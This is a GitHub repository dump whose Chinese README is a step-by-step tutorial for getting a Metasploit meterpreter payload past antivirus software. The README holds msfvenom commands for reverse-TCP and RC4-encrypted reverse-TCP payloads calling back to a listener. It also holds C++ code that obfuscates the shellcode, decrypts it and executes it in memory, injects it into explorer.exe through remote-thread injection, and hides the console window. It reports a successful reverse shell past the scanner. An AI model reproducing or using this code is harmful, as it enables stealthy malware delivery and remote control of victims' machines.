├── images ├── vs1.png ├── vs2.png ├── vs3.png ├── vs4.jpg ├── vs5.png ├── vs6.png ├── vs7.png ├── vs8.png ├── ser1.png ├── ser2.jpg ├── sharuan1.jpg ├── sharuan2.jpg ├── shell1.png ├── shell2.png ├── shell3.png ├── shell4.png ├── shell5.png ├── shell6.png ├── shell7.png └── shell8.jpg ├── FunnyMeterpreter ├── main.cc ├── FunnyMeterpreter.vcxproj.filters └── FunnyMeterpreter.vcxproj ├── FunnyMeterpreter.sln ├── .gitattributes ├── .gitignore └── README.md /images/vs1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dothook/FunnyMeterpreter/HEAD/images/vs1.png -------------------------------------------------------------------------------- /images/vs2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dothook/FunnyMeterpreter/HEAD/images/vs2.png -------------------------------------------------------------------------------- /images/vs3.png: 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https://raw.githubusercontent.com/dothook/FunnyMeterpreter/HEAD/FunnyMeterpreter/main.cc -------------------------------------------------------------------------------- /FunnyMeterpreter/FunnyMeterpreter.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /FunnyMeterpreter.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2048 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunnyMeterpreter", "FunnyMeterpreter\FunnyMeterpreter.vcxproj", "{ED696FB8-16A7-4171-9108-28166B74B403}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {ED696FB8-16A7-4171-9108-28166B74B403}.Debug|x64.ActiveCfg = Debug|x64 17 | {ED696FB8-16A7-4171-9108-28166B74B403}.Debug|x64.Build.0 = Debug|x64 18 | {ED696FB8-16A7-4171-9108-28166B74B403}.Debug|x86.ActiveCfg = Debug|Win32 19 | {ED696FB8-16A7-4171-9108-28166B74B403}.Debug|x86.Build.0 = Debug|Win32 20 | {ED696FB8-16A7-4171-9108-28166B74B403}.Release|x64.ActiveCfg = Release|x64 21 | {ED696FB8-16A7-4171-9108-28166B74B403}.Release|x64.Build.0 = Release|x64 22 | {ED696FB8-16A7-4171-9108-28166B74B403}.Release|x86.ActiveCfg = Release|Win32 23 | {ED696FB8-16A7-4171-9108-28166B74B403}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {0995D11B-803A-4319-847B-A07B47D003DA} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. 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Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /FunnyMeterpreter/FunnyMeterpreter.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {ED696FB8-16A7-4171-9108-28166B74B403} 24 | FunnyMeterpreter 25 | 10.0.17134.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | 82 | 83 | Level3 84 | Disabled 85 | true 86 | true 87 | 88 | 89 | 90 | 91 | Level3 92 | MaxSpeed 93 | true 94 | true 95 | true 96 | true 97 | 98 | 99 | true 100 | true 101 | 102 | 103 | 104 | 105 | Level3 106 | MaxSpeed 107 | true 108 | true 109 | true 110 | true 111 | 112 | 113 | true 114 | true 115 | Windows 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 与反病毒软件老大哥们的打闹日常 2 | 如果觉得对你有启发, 方便点亮个 `star` 呗。 3 | ## 前言 4 | 临近毕业，前不久去面试与帅气的面试官聊到了免杀，我答内核钩子、应用层勾子和自建API函数... 5 | 6 | ## 环境准备 7 | 1. Vmware Workstation Pro 15 8 | 2. Windows 10 9 | 3. Windows Server 2008 R2 10 | 4. Visual studio 2017 (C++ 开发环境) 11 | 5. Ubuntu 18.04.1 LTS 12 | 6. Metasploit 13 | 14 | ## 打闹开始 15 | ### 生成普通的　Windows x64 meterpreter 16 | ```shell 17 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=8844 -f exe -o hack.exe 18 | ``` 19 | ![](images/shell1.jpg) 20 | 21 | 这是生成 `meterpreter` 木马最简单的方法，可以预见这种直接生成的木马是肯定会被杀软无情的按在地上摩擦的。 22 | ![](images/sharuan2.jpg) 23 | 24 | ### 生成 meterpreter shellcode 25 | ```shell 26 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=8844 -f c 27 | ``` 28 | ![](images/shell2.png) 29 | 30 | ### Visual studio 2017 新建项目 31 | 1. 项目类型选择 Visual C++ 空项目 32 | 2. 项目名称我们命名为 `meterpreter` 33 | 34 | ![](images/vs1.png) 35 | 36 | ### SHELLCODE 处理 37 | 想要不被杀软拦截，重点就在修改shellcode上。反病毒软件通过二进制特征码，判断可执行文件是否为病毒文件。我们生成的 meterpreter shellcode 不用思考，肯定是在杀软的病毒特征码仓库的。 38 | 39 | #### encry_shellcode 函数 40 | 这里我们自己写一个函数，先对我们刚刚生成的 `shellcode` 进行简单的处理。 41 | ```cpp 42 | #include 43 | #include 44 | 45 | void encrypt_shellcode(unsigned char* shellcode, size_t size) { 46 | // 简单加密 47 | for (size_t i = 0; i < size - 1; i++) { 48 | if (shellcode[i] == 0x00) { 49 | shellcode[i] += 0x05; 50 | } else { 51 | if ((shellcode[i] - 0x01) != 0x05) { 52 | shellcode[i] -= 0x01; 53 | } 54 | } 55 | } 56 | // 循环输出 57 | for (size_t i = 0; i < size - 1; i++) { 58 | std::cout << std::hex << "\\x" 59 | << std::setfill('0') 60 | << std::setw(2) 61 | << (unsigned int)(byte)shellcode[i]; 62 | } 63 | std::cout << std::endl; 64 | } 65 | 66 | int main() { 67 | unsigned char shellcode[] = "..."; 68 | encrypt_shellcode(shellcode, sizeof(shellcode)); 69 | system("pause"); 70 | return 0; 71 | } 72 | ``` 73 | `encrypt_shellcode` 函数对shellcode进行了一个简单的加密。 74 | 1. 遍历shellcode每一个字符除了末尾的 `\0` 75 | 2. 如果当前字符等于 `0x00` 我们将当前字符加上 `0x05` 76 | 3. 其他不等于 `0x00` 的字符，当它减 `0x01` 不等于 `0x05` 时, 我们将它减去 `0x01` 77 | 4. 遍历输出 78 | 79 | ![](images/vs2.png) 80 | 81 | #### decrypt_shellcode 函数 82 | ```cpp 83 | // 解密shellcode函数 84 | void decrypt_shellcode(unsigned char* shellcode, size_t size) { 85 | // 解密shellcode 86 | for (size_t i = 0; i < size - 1 /*最后一位为\0所以无需解密*/; i++) { 87 | if (shellcode[i] == 0x05) { 88 | shellcode[i] = 0x00; 89 | } else { 90 | shellcode[i] += 0x01; 91 | } 92 | } 93 | } 94 | ``` 95 | 解密函数不难理解，就是加密的反操作 96 | 97 | ### 执行shellcode 98 | 我们加密shellcode主要是为了逃避杀软的特征码搜索，但是经过处理的shellcode，肯定是无法执行的，所以我们编写了解密shellcode的函数 `decrypt_shellcode`，这样我们就可以带着处理过的shellcode，想要执行的时候只需解密就可以正常执行了。 99 | ```cpp 100 | int main() { 101 | unsigned char shellcode[] ="..."; // 经过处理的shellcode 102 | // 解密shellcode 103 | decrypt_shellcode(shellcode, sizeof(shellcode)); 104 | typedef void(__cdecl * Func)(); 105 | void* p = ::VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, 106 | PAGE_EXECUTE_READWRITE); 107 | // copy shellcode to p 108 | memcpy(p, shellcode, sizeof(shellcode)); 109 | Func code = (Func)p; 110 | code(); 111 | system("pause"); 112 | return 0; 113 | } 114 | ``` 115 | 执行shellcode的方法有很多，我这里只是其中的一种，有兴趣可以问问度娘其他的方法。这里我们切换为Release x64版本编译项目。 116 | 117 | ![](images/vs3.png) 118 | 119 | 使用杀软扫描我们编译的程序。 120 | ![](images/vs4.jpg) 121 | 122 | 现在我们设起监听，执行编译好的马，是可以成功反弹shell的，你可以试试，不过咱们的马还是存在一些小瑕疵的，[滑稽]。 123 | 124 | ### 将shellcode注入其他程序执行 125 | shellcode注入是我突发奇想想出来的，其实不注入直接执行也可以。 126 | ```cpp 127 | #include 128 | #include 129 | #include 130 | #include 131 | #include 132 | 133 | // 根据进程名搜索PID 134 | // 根据进程名搜索PID 135 | const unsigned int get_pid(std::string process_name) { 136 | PROCESSENTRY32 pe32; 137 | HANDLE hProcSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 138 | if (hProcSnap == INVALID_HANDLE_VALUE) { 139 | return 0; 140 | } 141 | pe32.dwSize = sizeof(PROCESSENTRY32); 142 | // 遍历进程 143 | for (BOOL ret = Process32First(hProcSnap, &pe32); ret; 144 | ret = Process32Next(hProcSnap, &pe32)) { 145 | if (process_name == pe32.szExeFile) { 146 | CloseHandle(hProcSnap); 147 | return pe32.th32ProcessID; 148 | } 149 | } 150 | CloseHandle(hProcSnap); 151 | return 0; 152 | } 153 | 154 | // 注入函数 155 | bool inject_shellcode(const unsigned int pid, unsigned char* shellcode, 156 | size_t size) { 157 | // 解密shellcode 158 | decrypt_shellcode(shellcode, size); 159 | HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 160 | // 获取进程句柄失败 161 | if (hProcess == INVALID_HANDLE_VALUE) return false; 162 | auto inject_address = 163 | ::VirtualAllocEx(hProcess, NULL, sizeof(1000), MEM_COMMIT | MEM_RESERVE, 164 | PAGE_EXECUTE_READWRITE); 165 | // VirtualAllocEx 失败 166 | if (inject_address == NULL) return false; 167 | // 远程写入shellcode 168 | ::WriteProcessMemory(hProcess, inject_address, (PVOID)shellcode, size + 1, 169 | NULL); 170 | HANDLE hThread = ::CreateRemoteThread( 171 | hProcess, 0, 0, (LPTHREAD_START_ROUTINE)inject_address, NULL, 0, NULL); 172 | ::WaitForSingleObject(hThread, INFINITE); 173 | ::CloseHandle(hThread); 174 | ::VirtualFreeEx(hProcess, inject_address, 0, MEM_RELEASE); 175 | ::CloseHandle(hProcess); 176 | return true; 177 | } 178 | ``` 179 | 注入函数是很经典的远程线程注入，看不懂没关系，shellcode注入不是重点。 180 | 181 | ### 去除命令提示符窗口 182 | 如果你运行过我们生成的木马你会发现，一个醒目的黑窗口，亮瞎了你的双目。 183 | 现在我们去除命令提示符的黑窗口，隐秘执行我们的木马。 184 | 185 | 我们修改程序生成 `SUBSYSTEM:WINDOWS` 窗口类程序，并将入口函数修改为WinMain就可以不带命令行提示符运行程序了。 186 | ![](images/vs5.png) 187 | ```cpp 188 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, 189 | _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { 190 | unsigned char shellcode[] = "..."; // 加密后的 191 | 192 | const unsigned int explorer_pid = get_pid("explorer.exe"); 193 | // 注入函数内部自解密shellcode 194 | inject_shellcode(explorer_pid, shellcode, sizeof(shellcode)); 195 | 196 | return 0; 197 | } 198 | ``` 199 | 有过 Windows编程经验的大佬肯定了解, 这里我们写了`WinMain` 函数就可以删除`main`函数了。 200 | 201 | 这里我使用shellcode远程注入 `explorer.exe` 进程来执行我们的木马。你也可以使用我们之前的方法。 202 | 203 | ### 生成rc4加密通讯的 meterpreter shellcode 204 | ```shell 205 | msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.1.3 LPORT=8844 RC4PASSWORD=ncvt -f c 206 | ``` 207 | ![](images/shell3.png) 208 | 209 | 在找资料的时候发现,好像使用rc4加密通讯的话可以反之杀软动态拦截,管他呢,其实也就换一下shellcode,我们把新的shellcode使用 `encry_shellcode` 函数加密一下就可以了。 210 | 211 | ### Ubuntu 18.04 启动 meterpreter 监听 212 | 参数就下面这些 payload 使用的 `windows/x64/meterpreter/reverse_tcp_rc4` 213 | 记得设置 `RC4PASSWORD` 214 | ![](images/shell4.png) 215 | 216 | 好的我们启用监听 `exploit`。 217 | 218 | ### Windows Server 2008 R2 运行木马 219 | 我们换到 `Windows Server 2008` 中运行我们编译的木马，杀软也换一个。 220 | ![](images/ser1.png) 221 | 222 | 将木马丢进虚拟机，使用杀软扫描一下。 223 | ![](images/ser2.jpg) 224 | 225 | 执行木马,并未拦截，我们切回 `Ubuntu 18.04` 226 | ![](images/shell5.png) 227 | 228 | 成功反弹了meterpreter shell。 229 | ![](images/shell6.png) 230 | 231 | 截一张图 232 | 233 | ![](images/shell7.png) 234 | ![](images/shell8.jpg) 235 | 236 | ## 试验总结 237 | 玩了那么久的的是Web安全，第一次写文章居然是写免杀，挺不可思议的，研究了小半个下午，各位看官老爷可以看出，我写的处理shellcode方法挺拙劣的，哈哈！ 238 | 免杀的学问可不止这一点点,与老大哥们的小打小闹先到这，毕竟人生不应该把精力放在这些小打小闹的垃圾玩意身上，小弟撸代码去了~ 239 | 240 | ## 源码 241 | 记得重新生成解决方案 242 | GitHub: https://github.com/dothook/ZiYuanFenXiang 大佬给个 `Star` 呗。 243 | ```shell 244 | git clone https://github.com/dothook/FunnyMeterpreter.git 245 | ``` 246 | ![](images/vs8.png) 247 | 248 | ## 附加 249 | 非常重要!!! 250 | 因为可能需要使用Windows相关DLL接口,一定要使用 `MT模式`生成代码,这样就可以静态链接程序,无需依赖一些VC库了。 251 | 252 | ![](images/vs7.png) --------------------------------------------------------------------------------